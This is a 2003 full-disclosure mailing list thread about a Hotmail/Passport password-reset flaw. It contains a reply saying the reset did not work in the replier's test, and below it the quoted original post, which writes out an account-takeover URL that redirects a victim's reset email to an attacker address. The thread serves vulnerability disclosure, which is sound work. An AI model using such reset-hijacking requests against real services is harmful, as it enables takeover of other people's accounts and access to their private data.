full-disclosure - Hotmail & Passport (.NET Accounts) Vulnerability

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From: cherot at appliedmessaging.com (Christopher F. Herot)
Subject: Hotmail & Passport (.NET Accounts) Vulnerability

I just tried this.  It does indeed generate the "reset password" email
and link, which is scary, but following the instructions does not really
reset the password, at least not for the limited test I performed.


> -----Original Message-----
> From: Muhammad Faisal Rauf Danka [mailto:mfrd@...itudex.com]
> Sent: Wednesday, May 07, 2003 10:51 PM
> To: full-disclosure@...ts.netsys.com
> 
> Hotmail & Passport (.NET Accounts) Vulnerability
> 
> There is a very serious and stupid vulnerability or badcoding in
Hotmail / Passport's (.NET
> Accounts)
> 
> I tried sending emails several times to Hotmail / Passport contact
addresses, but always met with
> the NLP bots.
> 
> I guess I don't need to go in details of how cruical and important
Hotmail / Passport's .NET
> Account passport is to anyone.
> 
> You name it and they have it, E-Commerce, Credit Card processing,
Personal Emails, Privacy Issues,
> Corporate Espionage, maybe stalkers and what not.
> 
> It is so simple that it is funny.
> 
> All you got to do is hit the following in your browser:
> 
>
https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmai
l.com&id=&cb=&prefem=attac
> ker@...acker.com&rst=1
> 
> And you'll get an email on attacker@...acker.com asking you to click
on a url something like this:
> 
>
http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLN
um=0&lc=1033
> 
> From that url, you can reset the password and I don't think I need to
say anything more about it.
> 
> Vulnerability / Flaw discovered 	: 	12th April 2003
> Vendor / Owner notified		:	Yes (as far as emailing
them more than 10 times is concerned)
> 
> 
> Regards
> --------
> Muhammad Faisal Rauf Danka